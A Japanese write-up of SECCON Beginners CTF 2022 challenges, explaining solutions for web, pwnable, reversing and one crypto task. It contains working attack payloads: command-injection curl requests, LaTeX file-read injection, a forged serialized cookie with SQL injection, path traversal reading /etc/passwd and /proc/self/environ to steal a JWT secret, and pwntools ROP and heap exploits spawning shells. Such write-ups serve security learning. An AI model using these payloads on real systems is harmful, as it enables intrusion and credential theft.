SECCON Beginners CTF 2022 Writeup
SECCON Beginners CTF 2022 に出場して891チーム中7位でした。解けた問題について解説をしていきます。
web
Util [beginner, 460 solves]
Webサーバーのソースコードが与えられます。フラグはサーバー内のファイルにあるようです。
package main import ( "os/exec" "github.com/gin-gonic/gin" ) type IP struct { Address string `json:"address"` } func main() { r := gin.Default() r.LoadHTMLGlob("pages/*") r.GET("/", func(c *gin.Context) { c.HTML(200, "index.html", nil) }) r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) }) if err := r.Run(); err != nil { panic(err) } }
pingコマンドを実行できるエンドポイントがありますが、ここにOS Command Injectionがあります。
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
param.Addressは操作できるので任意コード実行が可能ですね。
param.Addressに; ls ../
が入るようにリクエストを送ると、commndはこのようになります。
commnd := "ping -c 1 -W 1 ; ls ../ 1>&2"
;
でコマンドを区切らせて実行させることで、好きなコードが実行できるようになります。
直接ブラウザから; ls ../
を入力しようとしてもHTML側のバリデーションに弾かれるので直接APIにリクエストするかバリデーションを消すかしましょう。このようなリクエストを送ってみます。
$ curl -X POST -H 'Content-Type:application/json' -d '{"address": "; ls ../"}' https://util.quals.beginners.seccon.jp/util/ping {"result":"BusyBox v1.33.1 () multi-call binary...Payload pattern\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
フラグのファイル名がflag_A74FIBkN9sELAjOc.txt
であることがわかりました。これをcatすればフラグが手に入ります。
curl -X POST -H 'Content-Type:application/json' -d '{"address": "; cat ../flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping {"result":"BusyBox v1.33.1 () multi-call binary....Payload pattern\nctf4b{al1_0vers_4re_i1l}\n"}
ctf4b{al1_0vers_4re_i1l}
textex [easy, 123 solves]
texをコンパイルしてpdfを出力してくれるWebサービスとソースコードが与えられます。フラグはflag
ファイルにあります。
主な処理はtex2pdf
関数で実装されています。flag
という文字列が入っているtexはコンパイルできないようになっていますね。texのコンパイルにはpdflatex
を使っているようです。
def tex2pdf(tex_code) -> str: # Generate random file name. filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)]) # Create a working directory. os.makedirs(f"tex_box/{filename}", exist_ok=True) # .tex -> .pdf try: # No flag !!!! if "flag" in tex_code.lower(): tex_code = "" # Write tex code to file. with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f: f.write(tex_code) # Create pdf from tex. subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5) except: pass if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"): # OMG error ;( shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf") return f"{filename}"
LateX Injectionという攻撃方法をどこかで聞いたことがあったので、検索してみます。(Latex Injection自体を知らなくとも、latex CTF
やlatex vulnerability
で検索すると出てくると思います)
検索に出てきたHacking with LaTeXを参考にしていきます。記事によると、\input
を使うことで任意のファイルをtexファイルにincludeできるようです。このようなtexを送ればapp.pyを表示できるはずです。
\documentclass{article} \begin{document} \input{app.py} \end{document}
しかし、これを送信するとエラーになります。他のファイルを試してもエラーになるので困りました。親切にもDocker環境まで配られているため、ローカルで実行してデバッグしましょう。
Dockerのログを見ると、気になる部分がありました。
! Missing $ inserted. <inserted text> $ l.7 from flask import Flask, request, send_ file, render_template
$
が入っていないエラーで落ちているようです。見ると、_
で不自然にエラー文が区切られているので_
がエラーの原因みたいですね。つまり\input
でincludeしたファイルがLaTeXの文法に合っていないのが原因です。
どうするとLaTeXに文法エラーを起こすことなくファイルを読み込めるのでしょうか。検索力がなく割と時間がかかりましたが、latex include raw text file
で検索するとIncluding a file verbatim in LaTeXという記事が見つかります。
この記事では\verbatiminput
を使えばよいと書いてあります。やってみましょう。
\documentclass{article} \usepackage{verbatim} \begin{document} \verbatiminput{app.py} \end{document}
送信すると、問題無くapp.pyが入ったPDFが出力されました。あとはflagファイルを読み込むだけですね。flag
という文字列が制限されていますが、これはマクロを使えばチェックを回避できます。このようなLaTeXソースコードを送るとフラグが出力されます。
\documentclass{article} \usepackage{verbatim} \newcommand{\fl}{fl} \newcommand{\ag}{ag} \begin{document} \verbatiminput{\fl\ag} \end{document}
ctf4b{15_73x_pr0n0unc3d_ch0u?}
galley [easy, 156 solves]
JPEG/GIF/PNGを選択して画像がダウンロードできるWebサービスが与えられます。例えば、https://gallery.quals.beginners.seccon.jp/?file_extension=jpeg のようなURLにアクセスすると.jpegファイルの一覧がブラウザに表示されます。
フラグの位置は明確にされていませんが、ソースコードを読むとfile_extension
からflag
という文字列を消去している処理があるので、恐らく画像フォルダの中にflag
を含むファイルがあるのでしょう。
func IndexHandler(w http.ResponseWriter, r *http.Request) { t, err := template.New("index.html").ParseFiles("./static/index.html") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } // replace suspicious chracters fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "") if fileExtension == "" { fileExtension = "jpeg" } log.Println(fileExtension) data := Embed{} data.ImageList, err = getImageList(fileExtension) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } if err := t.Execute(w, data); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } }
さて、/?file_extension=flag
としてもflag
を消去する制限があるのでフラグを見つけることができません。
送信内容の制限を文字列の削除で行う場合は、再帰的に削除をしていないとbypassが可能です。つまり、flflagag
という文字列を送るとflag
を削除してもflag
という文字列が残るのでこの問題もbypassが可能です。
/?file_extension=flflagag
にアクセスするとflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
というファイルを見つけることができます。
しかし、ダウンロードしようとしても????...
という文字列が送られるのみで内容がわかりません。これはレスポンスのサイズを制限する処理があるからです。
func (w *MyResponseWriter) Write(data []byte) (int, error) { filledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil } w.ResponseWriter.Write(data[:length]) return length, nil } func middleware() func(http.Handler) http.Handler { return func(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r) }) } }
このように、10240byteを超えるレスポンスは???...
が返されるようになっています。このようなときに思い出されるのがCakeCTF 2021 telepathy
で、この問題ではRange Headerを使いフィルタを回避しました。その問題も確かGolang製のサーバーだったので、この問題のサーバーもRange Headerに対応しているのではないでしょうか?このようなリクエストを送ってみます。
curl -H 'Range: bytes=1-10240' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output flag1
送信すると、問題無く前半10240byte分のPDFがflag1に保存されました。これをPDFの終端が見えるまで繰り返し、catで結合することでPDFを復元できます。
ctf4b{r4nge_reque5t_1s_u5efu1!}
3rd bloodでした。
serial [medium, 83 solves]
メモ帳サービスが与えられます。(ユーザー登録処理があるのになぜかメモは全員で共有です) フラグはflagsテーブルの中です。
findUserByName関数にSQL Injectionの脆弱性があります。$user->name
を操作できれば勝ちみたいですね。
/** * findUserByName finds a user from database by given userId. * * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION. */ public function findUserByName($user = null) { if (!isset($user->name)) { throw new Exception('invalid user name: ' . $user->user); } $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1"; $result = $this->_con->query($sql); if (!$result) { throw new Exception('failed query for findUserByNameOld ' . $sql); } while ($row = $result->fetch_assoc()) { $user = new User($row['id'], $row['name'], $row['password_hash']); } return $user; }
この関数はユーザー登録とログインの処理で使われているのですが、Userの生成時にSQL Injectionが起こらないよう置換処理が行われています。登録処理ではSQL Injectionできません。
class User { private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag"); public $id; public $name; public $password_hash; public function __construct($id = null, $name = null, $password_hash = null) { $this->id = htmlspecialchars($id); $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name)); $this->password_hash = $password_hash; } ... }
ソースコードを見ると、ユーザー登録時に__CRED
というCookieにUserクラスをserializeして保存され、ログインの確認時にunserializeされて復元されることがわかります。この処理はinsecure deserializationの脆弱性を持つので、__CRED
に保存されているUserクラスの情報を改造して$user->name
を上書きすればUser生成時の制限を無視してUserを作れますね。
function login() { if (empty($_COOKIE["__CRED"])) { return false; } $user = unserialize(base64_decode($_COOKIE['__CRED'])); // check if the given user exists try { $db = new Database(); $storedUser = $db->findUserByName($user); } catch (Exception $e) { die($e->getMessage()); } // var_dump($user); // var_dump($storedUser); if ($user->password_hash === $storedUser->password_hash) { // update stored user with latest information // die($storedUser); setcookie("__CRED", base64_encode(serialize($storedUser))); return true; } return false; }
通常の__CRED
は以下の様になります。(base64 decode済)
O:4:"User":3:{s:2:"id";s:2:"12";s:4:"name";s:1:"a";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}
これをこのように上書きします。
O:4:"User":3:{s:2:"id";s:4:"3629";s:4:"name";s:103:"' UNION SELECT 3629,body,"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6" FROM flags; -- ";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}
base64したあとCookieにセットし再読み込みすると、UNION句を使ったSQLiが発火してフラグを含んだ__CREDが送信されるので、Cookieを見ればフラグが得られます。
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
IronHand [medium, 42 solves]
ユーザー登録処理があるサービスとソースコードが与えられます。JWTのis_admin
がTrueになればフラグが手に入るようなので、JWTの改ざんが目標です。
e.GET("/", func(c echo.Context) error { cookie, err := c.Cookie("JWT_KEY") if err != nil { return c.Redirect(http.StatusFound, "/login") } token, err := jwt.ParseWithClaims(cookie.Value, &UserClaims{}, func(token *jwt.Token) (interface{}, error) { secretKey := os.Getenv("JWT_SECRET_KEY") return []byte(secretKey), nil }) if err != nil { return c.String(http.StatusBadRequest, "invalid session") } claims := token.Claims.(*UserClaims) // If you are admin, you can get FLAG if claims.IsAdmin { res, _ := http.Get("http://secret") flag, _ := ioutil.ReadAll(res.Body) if err := res.Body.Close(); err != nil { return c.String(http.StatusInternalServerError, "Internal Server Error") } return c.Render(http.StatusOK, "admin", map[string]interface{}{ "username": claims.Username, "flag": string(flag), }) } return c.Render(http.StatusOK, "user", claims.Username) }) ... e.GET("/static/:file", func(c echo.Context) error { path, _ := url.QueryUnescape(c.Param("file")) f, err := ioutil.ReadFile("static/" + path) if err != nil { return c.String(http.StatusNotFound, "No such file") } return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f)) })
ぱっと見/static/:file/
がPath Traversalを持っていて怪しそうですね。試しにこのようなリクエストを送ってみます。
$ curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../../../../../../../../../etc/passwd <html> <head><title>400 Bad Request</title></head> <body> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.21.6</center> </body> </html>
nginxに弾かれました。../
で弾いてるように見えるので何かbypassはないか探すと、url.QueryUnescape(c.Param("file"))
が怪しく見えます。今日日URLのunescapeなんてフレームワーク側でやってくれている場合がほとんどな気がするのでわざわざunescapeする必要を感じません。(これは今回は微妙に嘘で、後で検証したところechoはなぜか%25
のみをunescapeするようなので完全にunescapeをサポートしているわけではないらしいです)
フレームワークと処理で二重unescape起きてるだろ!ということでこのようなリクエストを送ります。
$ curl https://ironhand.quals.beginners.seccon.jp/static/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ...
ビンゴです。これで任意ファイルが読めるようになりました。
目標はJWTの改竄ですが、JWT_SECRET_KEY
は環境変数に格納されているのでファイルが読めても環境変数は読めないので意味ないじゃないか!となるかもしれません。
/proc/self/environ
を知っていますか?私は知っています。
このファイルの存在を検索で知るのは難しいと思いますが、CTFではプロセスに関する情報が格納されている/proc
フォルダはよく悪用利用されます。このファイルは自身のプロセスの環境変数が格納されているので、これを読みましょう。\x00
区切りであることに気を付けてください。(1敗)
❯ curl https://ironhand.quals.beginners.seccon.jp/static/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fself%252Fenviron --output - | hexdump -C ... 00000010 38 32 37 34 39 00 4a 57 54 5f 53 45 43 52 45 54 |82749.JWT_SECRET| 00000020 5f 4b 45 59 3d 55 36 68 48 46 5a 45 7a 59 47 77 |_KEY=U6hHFZEzYGw| 00000030 4c 45 65 7a 57 48 4d 6a 66 33 51 4d 38 33 56 6e |LEezWHMjf3QM83Vn| 00000040 32 44 31 33 64 00 53 48 4c 56 4c 3d 31 00 48 4f |2D13d.SHLVL=1.HO| 00000050 4d 45 3d 2f 68 6f 6d 65 2f 61 70 70 75 73 65 72 |ME=/home/appuser| ...
JWT_SECRET_KEY
がU6hHFZEzYGwLEezWHMjf3QM83Vn2D13d
であることがわかりました。あとは jwt.io でis_admin: true
にしたJWTを作ってCookieに設定すると、フラグが得られます。
ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}
2rd bloodでした。\x00
の区切りを忘れてSHLVL
をkeyに入れるミスをしなければ1st blood取れてたはずで、悔しいですね。
pwnable
Beginners Bof [beginner, 155 solves]
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #define BUFSIZE 0x10 void win() { char buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; puts("How long is your name?"); scanf("%d", &len); char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); printf("Hello %s", buf); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
関数の処理が終わった際に戻る呼び出し元のアドレスはリターンアドレスと呼ばれていて、スタックに格納されています。BUFSIZEを超えて入力を読み込んでしまうBuffer Over Flowの脆弱性があるので、リターンアドレスを書き替えてwinに飛ばせばフラグが得られます。詳しくはスタックフレームの仕組みを調べるとよいです。
また、win関数に飛ばす際にretを挟むことでスタックをalignします。これも「x64 アライメント」で検索するとよいです。(ここで色々説明するには余白が狭すぎる)
from pwn import * import sys context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall" nc = "nc beginnersbof.quals.beginners.seccon.jp 9000" chall = ELF(file) io = get_io() io.sendline("1000") payload = b"A" * 0x28 payload += p64(0x000000000040101a) # ret gadget payload += p64(chall.sym["win"]) io.sendline(payload) io.interactive()
ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
raindrop [easy, 52 solves]
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void help() { system("cat welcome.txt"); } void show_stack(void *); void vuln(); int main() { vuln(); } void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { puts("stack dump..."); printf("\n%-8s|%-20s\n", "[Index]", "[Value]"); puts("========+==================="); for (int i = 0; i < 5; i++) { unsigned long *p = &((unsigned long*)ptr)[i]; printf(" %06d | 0x%016lx ", i, *p); if (p == ptr) printf(" <- buf"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE)) printf(" <- saved rbp"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8)) printf(" <- saved ret addr"); puts(""); } puts("finish"); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); help(); alarm(60); }
stack dumpのsaved rbpからbuf addrが計算できるのでROPでsystem("/bin/sh")します。スタックをalignするためにsystem@pltでなくcall systemに飛ばしてリターンアドレスを積ませることでalignしています。
io = get_io() io.recvuntil("000002 | 0x") buf = int(io.readline().split()[0], 16) - 0x20 pop_rdi = 0x0000000000401453 ret = 0x000000000040101a call_system = 0x004011e5 payload = b"/bin/sh\x00" payload += b"A" * 0x10 payload += p64(pop_rdi) payload += p64(buf) payload += p64(call_system) io.sendline(payload) io.interactive()
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
競技中はstack dumpを全く見てなかったのでrbpをBSSに飛ばしてsystem("/bin/sh")
しました。ヒントはちゃんと見ましょうね...
競技中に書いたコード:
io = get_io() tmp = chall.bss() + 0x908 ret = 0x000000000040101a pop_rdi = 0x0000000000401453 pop_rsi_r15 = 0x0000000000401451 payload = b"A" * 0x10 payload += p64(tmp) payload += p64(0x00401246) payload += p64(0) payload += p64(chall.sym["vuln"]) io.send(payload) payload = b"AAAAAAAA/bin/sh\x00" payload += b"A" * (0x18 - len(payload)) payload += p64(pop_rdi) payload += p64(tmp - 0x8) payload += p64(chall.plt["system"]) io.sendline(payload) io.interactive()
snowdrop [medium, 44 solves]
これでもうあの危険なone gadgetは使わせないよ!
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void show_stack(void *); int main() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; gets(buf); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { ... } __attribute__((constructor)) void init() { ... }
raindropからsystemが消えてstatic linkになりました。これでone gadgetが使えなくなっただろ!ということらしいですが、ROP gadgetはいくらでもあるのでexecve("/bin/sh", NULL, NULL)
します。
io = get_io() io.recvuntil("000006 | 0x") buf = int(io.readline(), 16) - 0x268 pop_rdi = 0x0000000000401b84 pop_rsi = 0x000000000040a29e pop_rdx = 0x00000000004017cf pop_rax = 0x000000000044b5f7 syscall = 0x00000000004011fe payload = b"/bin/sh\x00" payload += b"A" * 0x10 payload += p64(pop_rdi) payload += p64(buf) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(pop_rax) payload += p64(0x3b) payload += p64(syscall) io.sendline(payload) io.interactive()
ctf4b{h1ghw4y_t0_5h3ll}
simplelist [medium, 32 solves]
#define DEBUG 1 #include "list.h" int read_int() { char buf[0x10]; buf[read(0, buf, 0xf)] = 0; return atoi(buf); } void create() { Memo* e = malloc(sizeof(Memo)) ; #if DEBUG printf("[debug] new memo allocated at %p\n", e); #endif if (e == NULL) err(1, "%s\n", strerror(errno)); printf("Content: "); gets(e->content); e->next = NULL; list_add(e); } void edit() { printf("index: "); int index = read_int(); Memo *e = list_nth(index); if (e == NULL) { puts("Not found..."); return; } #if DEBUG printf("[debug] editing memo at %p\n", e); #endif printf("Old content: "); puts(e->content); printf("New content: "); gets(e->content); } void show() { Memo *e = memo_list; if (e == NULL) { puts("List empty"); return; } puts("\nList of current memos"); puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-"); for (int i = 0; e != NULL; e = e->next) { #if DEBUG printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content); printf("[debug] next(%p): %p\n", &e->next, e->next); #else printf("memo_list[%d] %s\n", i, e->content); #endif i++; } puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n"); } void menu() { ... } int main() { puts("Welcome to memo organizer"); menu(); printf("> "); int cmd = read_int(); while (1) { switch (cmd) { case 1: create(); break; case 2: edit(); break; case 3: show(); break; case 4: puts("bye!"); exit(0); default: puts("Invalid command"); break; } menu(); printf("> "); cmd = read_int(); } } __attribute__((constructor)) void init() { ... }
list.h (抜粋)
typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
単方向リストを操作できるプログラムです。createとeditにgetsで自明なHeap-based Buffer Over Flowがあるので、Memo->next
をGOTに向けてlibc leakした後にatoi@got
を書き替えてsystem("/bin/sh")
します。
io = get_io() def create(s): io.sendlineafter("> ", "1") addr = int(io.readline().split()[-1][2:], 16) io.sendlineafter("Content: ", s) return addr def edit(idx, s): io.sendlineafter("> ", "2") io.sendlineafter("index: ", str(idx)) io.sendlineafter("New content: ", s) m1 = create("hoge") m2 = create("fuga") edit(0, b"A" * 0x28 + p64(0x4036c8)) io.sendlineafter("> ", "3") io.recvuntil("0x4036d0) ") libc.address = u64(io.recvline().strip().ljust(8, b"\x00")) - 0x1e36c0 log.info(f"libc: {libc.address:x}") edit(0, b"A" * 0x28 + p64(chall.got["atoi"]-0x8)) edit(2, p64(libc.sym["system"]+0x2000)) io.sendlineafter("> ", "/bin/sh") io.interactive()
ctf4b{W3lc0m3_t0_th3_jungl3}
Monkey Heap (未解決) [hard, 3solves]
unsorted binとにらめっこして終わりました。
large bin attackを履修します...
reversing
Quiz [beginner, 650 solves]
バイナリを実行するとクイズが始まります。
❯ ./quiz Welcome, it's time for the binary quiz! ようこそ、バイナリクイズの時間です! Q1. What is the executable file's format used in Linux called? Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか? 1) ELM 2) ELF 3) ELR Answer : 2 Correct! Q2. What is system call number 59 on 64-bit Linux? 64bit Linuxにおけるシステムコール番号59はなんでしょうか? 1) execve 2) folk 3) open Answer : 1 Correct! Q3. Which command is used to extract the readable strings contained in the file? ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか? 1) file 2) strings 3) readelf Answer : 2 Correct! Q4. What is flag? フラグはなんでしょうか? Answer : hoge flag length must be 46.
誘導のとおりstringsを使うとフラグが得られます。
❯ strings quiz | grep ctf4b ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
WinTLS [easy, 102 solves]
exeが渡されます。Ghidraで"Correct flag!"から処理を追うと、二つのスレッドで色々してる処理を見つけました。
GetWindowTextA(hFlag,(LPSTR)input,0x100); thread1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,t1,input,0,&local_24); thread2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,t2,input,0,&local_24); WaitForSingleObject(thread1,0xffffffff); WaitForSingleObject(thread2,0xffffffff); GetExitCodeThread(thread1,&exitcode1); GetExitCodeThread(thread1,&exitcode2); CloseHandle(thread1); CloseHandle(thread2); if ((exitcode1 == 0) && (exitcode2 == 0)) { MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40); } else { MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10); }
t1,t2は関数です。t1はこのようになっています
void t1(char *input) { ... TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X"); for (i = 0; (i < 0x100 && (c = input[(int)i], c != '\0')); i = i + 1) { if (((int)i % 3 == 0) || ((int)i % 5 == 0)) { prev_cnt = (longlong)cnt; cnt = cnt + 1; *(char *)((longlong)&buf + prev_cnt) = c; } } *(undefined *)((longlong)&buf + (longlong)cnt) = 0; check((char *)&buf); return; } bool check(char *input) { int iVar1; char *_Str1; _Str1 = (char *)TlsGetValue(TLS); iVar1 = strncmp(_Str1,input,0x100); return iVar1 != 0; }
3の倍数と5の倍数の位置にある文字を抜き出してTLS(?)に格納されてる値と一致しているかチェックしています。t2はその逆でした。
TLSの文字列を抜き出してそれぞれ取っていけばよいです。
enc1 = list("c4{fAPu8#FHh2+0cyo8$SWJH3a8X") enc2 = list("tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}") s = "" for i in range(len(enc1) + len(enc2)): if i % 3 == 0 or i % 5 == 0: s += enc1[0] enc1 = enc1[1:] else: s += enc2[0] enc2 = enc2[1:] print(s)
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
Recursive [easy, 127 solves]
フラグチェッカが渡されるので、適当にGhidraで解析します。
undefined8 check(char *input,int depth) { int input_len; int size; size_t sVar1; char *buf; undefined8 uVar2; sVar1 = strlen(input); input_len = (int)sVar1; if (input_len == 1) { if (table[depth] != *input) { return 1; } } else { size = input_len / 2; buf = (char *)malloc((long)size); strncpy(buf,input,(long)size); uVar2 = check(buf,depth); if ((int)uVar2 == 1) { return 1; } buf = (char *)malloc((long)(input_len - size)); strncpy(buf,input + size,(long)(input_len - size)); uVar2 = check(buf,size * size + depth); if ((int)uVar2 == 1) { return 1; } } return 0; }
再帰関数でcheckをしていますが、input_len==1
のときにbreakpointを置けば平文が得られそうです。練習がてらgdb scriptを書いて解いてみました。
import gdb gdb.execute("b *check+63") gdb.execute("r") # 0123456789abcdefghijABCDEFGHIJ!"#$%&'( s = "" for i in range(38): a = gdb.execute("p $dl", to_string=True) s += chr(int(a.split()[-1])) gdb.execute("set $al=$dl", to_string=True) gdb.execute("c") print(s)
❯ gdb -x ./solve.py ./recursive ... FLAG: 0123456789abcdefghijABCDEFGHIJ!"#$%&'( ... Breakpoint 1, 0x00005555555552bf in check () Breakpoint 1, 0x00005555555552bf in check () ... Correct! [Inferior 1 (process 2028) exited normally] ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
Ransom [medium, 61 solves]
バイナリとpcapと暗号化されたファイルが渡されます。 Ghidraで見ると、ランダムに鍵を生成して暗号化したあと外部に鍵を送信するような処理をしていました。 鍵はpcapファイルから取れるので後は暗号化を解くだけなんですが、最初に書いた復号プログラムにバグがあり沼りそうな気配を感じたので別の方法を取りました。
復号処理を確認すると、鍵のみからテーブルを生成し、テーブルと入力をXORするという単純なものだったのでもう一回同じ鍵で暗号化すれば平文が得られます。鍵はrand関数で生成されていたので、rand関数をpcapされた鍵を生成するように上書きした共有ライブラリを作り、LD_PRELOADで割り込ませてもう一回同じ鍵で復号します。
int call_count = -1; int token_index[0x10] = {27, 16, 56, 36, 31, 31, 34, 15, 34, 36, 25, 49, 51, 40, 60, 16}; void srand(int i) { return; } int rand(void) { call_count += 1; return token_index[call_count]; }
❯ py -c 'open("ctf4b_super_secret.txt", "wb").write(bytes.fromhex(open("ctf4b_super_secret.txt.lock", "r").read().replace( "\\x", "")))' ❯ gcc -fPIC -shared -o hoge.so hoge.c ❯ LD_PRELOAD=./hoge.so ./ransom ^C ❯ py -c 'print(bytes.fromhex(open("ctf4b_super_secret.txt.lock", "r").read().replace("\\x", "")))' b'ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}\n'
ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
please_not_debug_me [hard, 48 solves]
バイナリと暗号化ファイルが渡されます。 Ghidraで解析するとテーブルからELFファイルを生成し実行するpackerとして動いていることがわかるので、適当に取り出します。 復元後のELFをGhidraで見ると、RC4で暗号化していることがわかるので適当に抜き出せば解けます。
from Crypto.Cipher import ARC4 table = b'\x62\x31\x34\x62\x65\x37\x60\x32\x69\x3c\x68\x6f\x6a\x3b\x6d\x6e\x71\x26\x23\x2b\x23\x2d\x21\x24\x2c\x2f\x2f\x78\x79\x24\x29\x2f\x44\x11\x16\x45\x10\x10\x1f\x43' table = list(table) for i in range(len(table)): table[i] = table[i] ^ i cipher = ARC4.new(bytes(table)) enc = b'\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00' print(cipher.decrypt(enc))
ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}
crypto
Coughing Fox [beginner, 443 solves]
from random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): f = flag[i] c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
flag[i]をiで加工したあとシャッフルした配列が与えられます。何も考えずシャッフル元とシャッフル先とcを総当たりすれば十分です。
